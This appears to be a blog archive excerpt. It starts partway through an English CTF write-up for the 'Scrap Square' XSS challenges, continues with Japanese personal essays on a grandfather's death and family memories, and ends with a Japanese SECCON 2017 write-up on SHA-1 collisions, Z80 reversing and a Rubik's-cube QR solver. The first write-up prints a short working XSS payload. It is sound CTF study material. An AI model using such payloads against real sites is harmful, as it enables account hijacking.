  5. Go back to the previous user, and visit /reports endpoint

  6. Report from admin is posted and that includes list of admin's scrap

  7. Content of that scrap is the flag: CBCTF{k475ur464w4-15_4-n4m3-0f_R1v3r}

Our team was the first that solved. Finally got 389pt with 9 teams solved.

Scrap Square v1.1 - Web

Kamogawa noticed that if the username is too long, it stuck out from the screen in Scrap Square v1.0.
For this reason, he restricted the length of the username more strictly.
- if (req.body.name.length > 300) {
- errors.push('Username should be less than 300')
+ if (req.body.name.length > 80) {
+ errors.push('Username should be less than 80')
URL: http://v11.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.1.zip
Admin browser (not changed from v1.0): admin.zip

After solving Scrap Square v1.0, the chal v1.1 was revealed immediately. Only two lines of code was updated, which tighten the length limit of XSS injection code.

Step 1: Code golf

Obviously the previous attack code (209 chars) won't work. But we can golf it in some ways.

  1. Trim quotes and whitespaces
  2. Use ES module to load periodically-**.js script. That costs type=module in attack code but the long file name can be included in a.js.
  3. Reorder tags and omit closing tags

Then the final attack code was the following (just 80 chars).

<img id=ls4w00fp name=admin><script type=module src=/static/raw/ls4w00fp/a.js>/*

Then repeat the previous procedure to get the flag: CBCTF{k4m064w4_d1d-n07-kn0w_7h3r3-4r3_x55}

Our team was the first that solved. Finally got 462pt with 3 teams solved.

Timeline

Many part of the credit goes to my team members. The following timeline describes actions executed to solve this challenge and member who contributed it.

  • 20:00 Scrap Square v1.0 revealed
  • 21:02 @hakatashi found the strange restriction of scrap title naming, especially the usage of .
    • This led me to the suspection of the existence of any directory traversal, but that totally missed the point.
  • 21:36 @hakatashi found title name of scrap can control Content-Type of raw scrap body, because of express.static() behavior
  • 21:40 @lmt_swallow found import '/foobar.js' is useful for loading another JS files
  • 22:09 @kcz146 found XSS in username
  • 22:30 @kcz146 conceived the possibility of illegal scrap body submission by the combination of periodically-**.js and global variable pollution
  • 22:48 @hakatashi found dumb URL parsing in load-scrap.js and hack with query string
  • 22:49 @kcz146 immediately conceived the clever hack with ?/../..
    • After this we stuck at global variable pollution. We all think of pollution by ES module import, but that missed the point.
  • 23:12 @kurgm conceived the idea of global variable pollution by <form id="foobar">
  • 23:30 @kurgm conceived the idea of global variable override by delete window.admin
  • 23:45 @hakatashi solved chal and submitted flag
  • 23:50 Scrap Square v1.1 revealed
    • For us, the application of ES module is very natural and we golfed for a while... and that is not so difficult (We all are golfing expert😂)
  • 00:30 Hacking code beat the 80 chars limit
  • 00:34 @lmt_swallow solved chal and submitted flag

My thoughts

That was brilliant challenge😆. So difficult, but I enjoyed the combination of XSS, extension hack, and global pollution etc. Many thanks to the editor @tyage.

As for v1.1, I feel the chal was not so much of v1.0 and just a golfing matter. But still nice with requirements of deep knowledge of modern javascript. Thanks!

祖父が他界しました

2018年1月7日、父方の祖父が他界した。すでに4ヶ月以上前の話である。

詳細は聞かされていないが、僕が物心ついたときから老病を患っていた祖父は、長らく自宅で投薬治療を続けていた。とはいえ病人のようなていではなく、むしろ帰省するたびに僕らに快活で剽軽な姿を見せる祖父は、ぷっくりとした姿も相まってまるで布袋さんのような存在だった。1月6日夜、祖父は自宅で突然の心臓発作を起こして卒倒、救急搬送されたがまもなく死亡が確認され、まさにピンピンコロリで逝ってしまった。

その2日前まで、僕と家族は正月の帰省で祖父の家に逗留していた。居間で僕らと談笑し、一緒にテレビを見て笑い、手製のきんぴらごぼうを振る舞う祖父の姿は、いつも盆と正月に顔を合わせる朗らかな祖父の姿そのものだったし、間違っても死神に憑かれた老人の姿ではなかった。祖父の訃報を受けて僕らは千葉から新幹線でとんぼ返りをし、つい2日前に後にしたばかりの居間で眠る祖父の体に手を合わせた。死に水を取り、納棺し、葬儀に参列し、骨を拾い、そのまま涙を拭いて帰った。あれから4ヶ月、僕と周囲の日常は表向き何も変わらず動き続けている。

一方で、僕自身の生き方は取り返しの付かないほど変わってしまった。

以前の記事にも記したとおり、僕は昨年の9月に祖母を見送ったばかりだった。昨年逝った祖母は母方なので、もちろんこれらは無関係である。しかし、不幸は続くもの――という安易な言葉では慰めにはならないほど、肉親が立て続けに逝ったことは僕の精神に深い暗雲をもたらした。

法要のため加古に滞在している間、それがどういう心境によるものかは未だによくわからないが、僕は愛読書であるアンナ・カヴァンの『氷』を読み続けていた。それは単に愛読書が隣にあることで安心感を覚えたかったのかもしれないし、霊前に臨む前に少しでも悲しい気分に浸りたかったのかもしれないし、単に機会を見て名著を再読したかっただけかもしれない。どうせ自分の行動に理由をつけられることなんて多くないのだから、そこは特に気にしない。とにかく僕は、何度目かは忘れたが2日間で『氷』を読破し、増え続ける一方の自室の本棚に差し戻した。

物語の中で幾度となく殺され、侵され、壊される白い少女は、きっと本来の意味での純粋な「死」のイメージではないのかもしれない。しかし、迫り来る氷と飲まれゆく大地のイメージは、僕にとっての現実と妄想の境を曖昧にし、不連続なはずの生死の境界を超えて手を伸ばし、死を見つめる視線を悪い意味で変容させ、深淵を覗き込むことの恐怖を僕に与えた。都会に帰ってからの僕の日々は、典型的なタナトフォビアの様相を呈した。

10秒後に死ぬかもしれないことを考えて眠れない夜が増えた。

ホームドアのない駅の乗降場に立つことが怖くなった。

フィクションでも誰かが死ぬことに過剰に怯えるようになった。

死ぬことを知って、また生きるのが難しくなった。僕は未だにこの根源的なトラウマの中に囚われている。だけど。

奈落の底を知らなかった日々には、数十年後に訪れるであろう死をぼんやりと思いながら安楽に過ごしていた毎日には、戻りたいと思っても決して戻れないから。

戻れるとしても戻りたくはないから。

記憶は魂そのものだから、記憶を刻んで1つ弱くなった僕も間違いなく僕だから、今、自分が自分であることは絶対に否定したくはない。

それは今の僕が忌避する「死」そのものだから。

だから。神様を呪って、今畜生と唾吐いて、それでもこの星の下で人生を謳歌してやろうと思った。

君はどこに落ちたい? どうせ墜落するのが定めなら、僕は大気圏に落下して燃えて燃え尽きて誰かの願いを叶える流星になって朽ちたい。そして。

そして、僕は今日もまた生き損じている。

つよくなりたい。

自分のこと

  • 小学n年生のこと。担任の女の先生が非常に性格の悪い人だった (僕自身も覚えている。というか絶対に忘れない)。当時の僕は小学校の机からよく物を落とす生徒として教師陣から目をつけられていた不良学生だったが、それに対してその女教師は僕が机から物を落とすたびにそれを没収し、黒板のチョーク箱の隣に下げたビニール袋に放り入れて晒し者にするという意地の悪い対応をした。こういうことをされると子供はますますグレていくもので、しまいには座ったまま上履きを脱いで放り投げたらそれも没収され、裸足で帰らされた。授業参観の日に見に来た父の言によれば、授業が始まるたびに前の授業の教科書を片付けずに新しい教科書を上に並べるので、そのたびに小さな机から物がぽろぽろと落ちていった。それをいちいち拾って「高橋光輝」と大書された袋に詰める教師を見て、非常に悔しい思いをしたという。父曰く、「勉強だけはできる小生意気な子供に反発して意地悪をするような、器の小さい教師だった。今でも許せない」
  • 僕は4人兄弟の長男だが、実は僕を産む前に母は流産を経験している。母が妊娠中、当時市役所に勤務していた父と母は、選挙活動 (具体的な内容はわからない。公務員の選挙運動は禁止されているはずなのでなにかの手伝いとかではないか) という実入りの良い仕事を進んで行っていた。それが大きな箱を運んだりするなどのハードワークだったようで、母は過度の運動により体調不良を訴え、医師に診てもらったところ流産と言い渡された。長らく子宝に恵まれなかった末の妊娠だったためにショックも大きかったようで、あれから20年以上たった今も父は目先の給与にとらわれて身重の母にハードワークを強いたことを後悔している。
  • 先日亡くなった父方の祖父のこと。祖父は長らく右足と右手に障害を持っていた。この怪我の詳細は父も知らなかったそうだが、祖父が亡くなったのち、祖母を通して父が伝え知った話は右のとおりである。右足の怪我は父が幼いころ、祖父がまだ28歳かそこらの時に拵えたもので、祖父の妹が営んでいた問屋の手伝いで力仕事をしていたところ、トラックの荷台から転落し右足に重傷を負った。本来であれば労災が降りるところだが祖父は妹の処遇を思って労災を申請しなかった。今で言う労災隠しである。そのため良い医者にかかることができず膝蓋骨に後遺症が残り、以来祖父の右膝は曲がらなくなった。右手の怪我は父が大学生の頃、工場で働いていた祖父がプレス機に手を挟まれた事故によるものである。深夜の作業で2、3人しか現場に居合わせていなかったために起きた事故であり、こちらはきっちりと労災が降り、手指がばらばらになるほどのひどい怪我だったそうだが指が動かせる程度には復活したそうだ。しかしそもそも祖父が工場で働き始めたのは無理を言って下宿生活を始めた息子 (僕の父) を養うためだった (と父は考えている) といい、その点で父はやりきれない思いになったという。
  • 父と宗教の出会い。母と出会ったばかりの父は気性が激しく、母に頻繁に暴力を振るっていたという (正直、母の前で父からこの話を聞いた今も信じられない話である。現在の父は温厚で稀に母と口角泡を飛ばし合うことはあっても暴力を振るうなどとても考えられない)。一方当時の父は比較的教養人であり、世界の宗教についても一通り修めていた (そういう家に生まれたことも影響しているのだろう。父は幼い頃から信心深い祖父と祖母に連れられて霊山神山を巡っていた) が、新興宗教の類には眉をひそめるような人間だった。読書家でもあった父は当時書評欄や書店ランキングで絶賛されていたある新興宗教の本を (しぶしぶ) 手に取り、そこで大きな感銘を受け、そのまま10冊以上を読破したのちその新興宗教に入信した。その後しばらく団体内で活動した父は、母にも入信を勧めることを決心。勇気を出して「入信しないか」と切り出したところ二つ返事で「いいよ」と返されたという。父は母からの力強い信頼と捉えて喜んだが事実はその逆であり、暴力を振るう父に愛想を尽かし「これが最後のチャンスだと思って付いていこう。これでダメだったらもう付いていけそうにない」と思っての「いいよ」だった⋯⋯という話を後に団体の女性職員を介して父は知る。
  • 小学1年生の時、右目に大きな怪我をしたらしい。父とともに外に遊びに出たとき (当時妹と弟が生まれていたはずである)、前を見ずに走っていた僕はポストの角に激突、鋭利な部分で瞼が大きく切れて目から大量の血が流れ出た。瞼が開いていたら、あるいは少しでも位置がずれていたら失明もありえた大怪我だったという。僕自身は全く覚えていないが、僕の右目が弱い外斜視なのもこれが影響してるのかもしれない。

SECCON 2017 Quals Writeup - z80, SHA-1 is dead, Qubic Rube

※この記事は TSG Advent Calendar 2017 11日目の記事です。

SECCON 2017 予選にチーム「TSG」として参加した。結果は世界23位、日本5位

SHA-1 is dead (Crypto100)

http://sha1.pwn.seccon.jp/

Upload two files satisfy following conditions:

file1 != file2

SHA1(file1) == SHA1(file2)

SHA256(file1) <> SHA256(file2)

2017KiB < sizeof(file1) < 2018KiB

2017KiB < sizeof(file2) < 2018KiB

1KiB = 1024 bytes

解法

やるだけ。Google様の力を借りる。

$ wget https://shattered.io/static/shattered-1.pdf
--2017-12-11 21:27:40--  https://shattered.io/static/shattered-1.pdf
Resolving shattered.io (shattered.io)... 216.239.36.21, 216.239.38.21, 216.239.34.21, ...
Connecting to shattered.io (shattered.io)|216.239.36.21|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 422435 (413K) [application/pdf]
Saving to: 'shattered-1.pdf'

shattered-1.pdf                   100%[===============================================================>] 412.53K   342KB/s   in 1.2s

2017-12-11 21:27:42 (342 KB/s) - 'shattered-1.pdf' saved [422435/422435]

$ wget https://shattered.io/static/shattered-2.pdf
--2017-12-11 21:27:47--  https://shattered.io/static/shattered-2.pdf
Resolving shattered.io (shattered.io)... 216.239.36.21, 216.239.38.21, 216.239.34.21, ...
Connecting to shattered.io (shattered.io)|216.239.36.21|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 422435 (413K) [application/pdf]
Saving to: 'shattered-2.pdf'

shattered-2.pdf                   100%[===============================================================>] 412.53K   312KB/s   in 1.3s

2017-12-11 21:27:49 (312 KB/s) - 'shattered-2.pdf' saved [422435/422435]

$ dd if=/dev/zero of=dummy bs=1643000 count=1
1+0 レコード入力
1+0 レコード出力
1643000 バイト (1.6 MB) コピーされました、 0.006498 秒、 253 MB/秒

$ cat shattered-1.pdf dummy > sha1-1.dat

$ cat shattered-2.pdf dummy > sha1-2.dat

$ ls -la sha1*.dat
-rwxrwxrwx 1 root root 2065435 12月 11 21:30 sha1-1.dat
-rwxrwxrwx 1 root root 2065435 12月 11 21:30 sha1-2.dat

$ sha1sum sha1*.dat
fa004512dad796e9e5f7958e497166c4df54eb7a  sha1-1.dat
fa004512dad796e9e5f7958e497166c4df54eb7a  sha1-2.dat

評価

な~~にがcryptoじゃ。

評価: ★★☆☆☆

z80 (Binary300)

Reverse it.

BuggyCPUBoard-82e40efd036ae8e87e149de07e6b99f5e01e389a537bf1d630b5af84d8f2b10a.ino

Pictures.tar.gz

本日のメイン。Arduinoスケッチファイルと、Arduinoマイコンが接続されたブレッドボードを360度から撮影した22枚の写真が与えられる。

2年前のSECCONでTSGを混乱に陥れた Reverse-Engineering Hardware の再来か⋯⋯と思われたが、実際にはそれ以上に頭のおかしい問題だった。

解法

前半部分は主に@Joe氏が担当した。まず写真を見ながら回路を検分する。ボードのほうは Arduino Mega だと分かる。マイコンのほうは (嫌らしいことに) わざわざSECCONステッカーが上に貼ってあり、型番がわからないが、問題のタイトルがz80なので、十中八九z80マイコンであると思われる。

@Joe氏がマイコンのデータシートと写真をにらめっこしながら、以下のように手書きの回路図を作成した。(お疲れ様です⋯⋯)

f:id:hakatashi:20171211191450j:plain

ここからは主に僕が担当した。とりあえずArduinoスケッチファイルのほうを読んでみる。とても長いのでざっと眺めるくらいしかしてないが、一番気になるのはmemという怪しい変数。

static unsigned char mem[memsize] = {
  0x22, 0x47, 0x00, 0x3d, 0x53, 0x77, 0x23, 0x3d, 0x45, 0x77, 0x23, 0x3d, 0x43, 
  0x77, 0x23, 0x77, 0x23, 0xc5, 0x0c, 0x77, 0x23, 0xc5, 0xfd, 0x77, 0x23, 0x3d, 
  0x7b, 0x77, 0x23, 0x39, 0x44, 0x00, 0x47, 0xc5, 0x46, 0x31, 0x44, 0x00, 0x78, 
  0x31, 0x46, 0x00, 0xfd, 0x22, 0xf9, 0x1e, 0x00, 0xfd, 0x7b, 0xf1, 0x1e, 0x00, 
  0x77, 0x23, 0x39, 0x45, 0x00, 0x3e, 0x31, 0x45, 0x00, 0xc1, 0x1e, 0x00, 0x3d, 
  0x7d, 0x77, 0x75, 0x03, 0x0b, 0x09, 
};

読むと、memReadやmemWriteという関数がこのmemにバイト単位の読み書きを行っているらしい事がわかる。そしてZ80マイコンがHALTした時、dispWork(0x47);でmemの0x47以降の内容をシリアルポートに書き出している。この時点でどうやらmem変数をZ80マイコンを動作させるためのプログラムメモリとして利用しているのではないかと当たりをつけた。

となるとmem変数の中身はZ80バイナリということになる。データを適当に整形してyazdに投げると、以下のように逆アセンブルできた。

        LD      (L0046+1),HL    ; reference not aligned to instruction
        DEC     A
        LD      D,E
        LD      (HL),A
        INC     HL
        DEC     A
        LD      B,L
        LD      (HL),A
        INC     HL
        DEC     A
        LD      B,E
        LD      (HL),A
        INC     HL
        LD      (HL),A
        INC     HL
        PUSH    BC
        INC     C
        LD      (HL),A
        INC     HL
        PUSH    BC
        LD      (IY+23h),A
        DEC     A
        LD      A,E
        LD      (HL),A
        INC     HL
        ADD     HL,SP
        LD      B,H
        NOP
        LD      B,A
        PUSH    BC
        LD      B,(HL)
        LD      SP,0044h
        LD      A,B
        LD      SP,0046h
        LD      (1EF9h),IY
        NOP
        LD      A,E
        POP     AF
        LD      E,00h
        LD      (HL),A
        INC     HL
        ADD     HL,SP
        LD      B,L
        NOP
        LD      A,31h           ; '1'
        LD      B,L
        NOP
        POP     BC
        LD      E,00h
        DEC     A
        LD      A,L
        LD      (HL),A
        LD      (HL),L
        INC     BC
        DEC     BC
L0046:  ADD     HL,BC

アセンブルできたものの、肝心のHALT命令もないし、いまいち意味の分からない内容である。実際にZ80エミュレーターで動かしてみても特に何も起きないし、0x47以降のアドレスにも意味のある内容が書き出されない。ここでずいぶん悩まされた。

立ち返ってArduinoスケッチファイルのファイル名を確認してみる。ファイル名にはBuggyCPUBoardとある。実は@Joe氏が回路の解析を行った際に、気になった部分があった。写真の赤丸の部分に注目して欲しいのだが、

f:id:hakatashi:20171209224300j:plain

よく見ると、他のピンはツイストされたケーブルの白色のジャンパが手前に刺さっているところが、この部分だけ白色のジャンパが奥になっている。この部分を辿っていくと、.inoに書かれたピン配置の配線と食い違っていることがわかる。

@@ -1,5 +1,5 @@
-unsigned D0=22;
-unsigned D1=23;
+unsigned D0=23;
+unsigned D1=22;
 unsigned D2=24;
 unsigned D3=25;
 unsigned D4=26;

D0ピンとD1ピンが入れ替わっている。Dピンはマイコンへのデータの書き出し/読み出しに対応しているので、ここが間違っているとZ80に入力されるデータの中身が違ってくる。おそらくこの間違いがBuggyCPUBoardの「Bug」なのだと思われる。

つまり、mem変数のデータと、実際にZ80が読み出すデータは異なっているものと思われる。mem変数のデータを適当なスクリプトでビットをswapして、再度逆アセンブルすると、

        LD      HL,0047h
        LD      A,53h           ; 'S'
        LD      (HL),A
        INC     HL
        LD      A,46h           ; 'F'
        LD      (HL),A
        INC     HL
        LD      A,43h           ; 'C'
        LD      (HL),A
        INC     HL
        LD      (HL),A
        INC     HL
        ADD     A,0Ch
        LD      (HL),A
        INC     HL
        ADD     A,0FEh
        LD      (HL),A
        INC     HL
        LD      A,7Bh           ; '{'
        LD      (HL),A
        INC     HL
L001D:  LD      A,(L0044)
        LD      B,A
        ADD     A,45h           ; 'E'
        LD      (L0044),A
        LD      A,B
        LD      (L0045),A
        CP      21h             ; '!'
        JP      M,L001D
        CP      7Bh             ; '{'
        JP      P,L001D
        LD      (HL),A
        INC     HL
        LD      A,(L0046)
        DEC     A
        LD      (L0046),A
        JP      NZ,L001D
        LD      A,7Eh           ; '~'
        LD      (HL),A
        HALT
L0044:  INC     BC
L0045:  DEC     BC
L0046:  LD      A,(BC)

かなり意味の通った逆アセンブル結果になる。特にSECCONのフラグ形式であるSECCON{~}らしき文字列のようなものも見える。

実際にエミュレーターで実行させると、ちゃんとHALT命令で停止して終了する。ちなみにエミュレーターTSGコードゴルフ大会で使用したz80golfというアプリケーションを使っている。以下のようなパッチを入れるとステップ実行でデバッグできるようになって便利。

diff -r -u z80golf/src/main.c z80golf2/src/main.c
--- z80golf/z80golf/src/main.c  Sun Dec 10 04:34:03 2017
+++ z80golf2/z80golf/src/main.c Fri Nov 30 08:01:23 2007
@@ -147,7 +147,6 @@

 /// 1命令実行
 void step() {
+       DebugZ80(&z80);
        ExecZ80(&z80);

                // システムコールされた場合、その処理へ飛ばす
@@ -169,7 +168,7 @@
 void exec_loop(int maxstep) {
        int i;
        for (i=0; maxstep == 0 || i < maxstep; ++i) {
+               // if (is_halt()) break;
-               if (is_halt()) break;
                step();
        }
 }

で、HALTした時点でのメモリの状態を確認してみる。

$ z80golf fixed.dat
AF:0000 HL:0000 DE:0000 BC:0000 IX:0000 IY:0000 I:00
0000[21 - LD HL,0047h] SP:0000[4721] FLAGS:[........] IM0:DI
[Command,'?']->
AF:0000 HL:0047 DE:0000 BC:0000 IX:0000 IY:0000 I:00
0003[3E - LD A,53h] SP:0000[4721] FLAGS:[........] IM0:DI
[Command,'?']->
AF:5300 HL:0047 DE:0000 BC:0000 IX:0000 IY:0000 I:00
0005[77 - LD (HL),A] SP:0000[4721] FLAGS:[........] IM0:DI
[Command,'?']->
(中略)
AF:0043 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
003D[C2 - JP NZ,001Dh] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']->
AF:0043 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
0040[3E - LD A,7Eh] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']->
AF:7E43 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
0042[77 - LD (HL),A] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']->
AF:7E43 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
0043[76 - HALT] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']-> m 0

0000: 21 47 00 3E 53 77 23 3E 46 77 23 3E 43 77 23 77  | !G.>Sw#>Fw#>Cw#w
0010: 23 C6 0C 77 23 C6 FE 77 23 3E 7B 77 23 3A 44 00  | #..w#..w#>{w#:D.
0020: 47 C6 45 32 44 00 78 32 45 00 FE 21 FA 1D 00 FE  | G.E2D.x2E..!....
0030: 7B F2 1D 00 77 23 3A 46 00 3D 32 46 00 C2 1D 00  | {...w#:F.=2F....
0040: 3E 7E 77 76 8F 4A 00 53 46 43 43 4F 4D 7B 48 5C  | >~wv.J.SFCCOM{H\
0050: 2B 70 3F 53 22 67 36 4A 7E 00 00 00 00 00 00 00  | +p?S"g6J~.......
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
[Command,'?']->

0x47以降のアドレスに何やらflagらしきデータが書き込まれている。

0040:                      53 46 43 43 4F 4D 7B 48 5C  |        SFCCOM{H\
0050: 2B 70 3F 53 22 67 36 4A 7E                       | +p?S"g6J~

ピンのswapによる変更はデータの書き出し時にも影響するので、実際にここに書き込まれるデータを得るには再びこのデータのビットをswapすればよい。すると、

0040:                      53 45 43 43 4F 4E 7B 48 5C  |        SECCON{H\
0050: 2B 70 3F 53 21 67 35 49 7D                       | +p?S!g5I}

となり、flagはSECCON{H\+p?S!g5I}

評価

実際に組まれた回路のデバッグを要求される点や、ビットをswapすると正しいバイナリが得られる点は面白いと思った。が、SECCONステッカーや束ねられたコードなど理不尽な嫌がらせが多く、本質的でない部分で精神を消耗する点で決して良問とは言い難い。また動作に必要とはいえArduinoスケッチファイルが大きく、これがそもそも何をするコードなのか把握するのに時間がかかった。せめて問題文にフォローがあったほうが良かったのでは。

評価: ★★★☆☆

Qubic Rube (Programming300)

Please continue to solve Rubic's Cube and read QR code.

http://qubicrube.pwn.seccon.jp:33654/

2017年になって復活した唯一のQRコード枠。問題タイトルが「QR」をもじったものだと気付くのに時間がかかった。

サイトにアクセスすると、回転するルービックキューブが表示される。

f:id:hakatashi:20171211213613p:plain

6面の画像にはQRコードが表示されており、読み取るとそれぞれ以下のようなテキストになる。

SECCON 2017 Online CTF
Have fun!
Qubic Rube
Next URL is:
No. 1 / 50
http://qubicrube.pwn.seccon.jp:33654/02c286df1bbd7923d1f7

最後のURLにアクセスすると、今度は面が1つ回転したルービックキューブが表示される。

f:id:hakatashi:20171211222337p:plain

この回転を戻してQRコードを読み取って⋯⋯を繰り返していく。10回くらいで完全にスクランブルされたキューブになる。

f:id:hakatashi:20171211222654p:plain

解法

自動化問題。画像のURLはわかりやすく面の色も判別しやすいので、基本的にめんどくさいだけのやるだけ問題である。

肝心のルービックキューブの解法は、たぶん同じ色のピースを9つ集めてきて、並び替えを全探索して有効なQRコードを探すだけで十分に解ける問題だと思われる (うまくやれば探索総数は1面につき2000程度)。が、最近ルービックキューブにはまっていることもあって、ちゃんとルービックキューブを解くプログラムをわざわざ書いてみた。

3x3x3のルービックキューブは、1x1x1のパーツ26個に分けられ、スクランブルされてもそれぞれのパーツに塗られている色の組み合わせは変化しない。3x3x3のルービックキューブではそれぞれのパーツの配色がユニークなので、パーツごとの配色を調べて正しい位置に置き直すだけで解くことができる。

ただし、センターパーツ (3x3の真ん中の1個) の回転だけはルービックキューブの特性上確定しないので、この部分だけ全探索しなければいけない。

画像の取得やQRコードの読み取りなどの自動化は@Joe氏が、ルービックキューブのソルブは僕が担当した。ソースコードはこちら。

github.com

罠として、11問目からルービックキューブの配色が 白⇔青 緑⇔黃 赤⇔橙 の日本配色から、白⇔黃 緑⇔青 赤⇔橙 の国際配色に変化する (は?)。各面の色を決め打ちで解いているとここで躓いてしまう。というか躓いた。

なので、

これは訂正しなければならない。

評価

可もなく不可もなく。300点問題にしては簡単すぎるかと。4x4とか5x5のキューブにしたらさすがに全探索だと難しくなってちょうどよかったのでは?

評価: ★★★★☆

感想

初めてBinary問題を解いたのでもはや実質バイナリアンと言っても過言ではない (は?)

8人くらいで解いたので本戦出れるかは分からないです。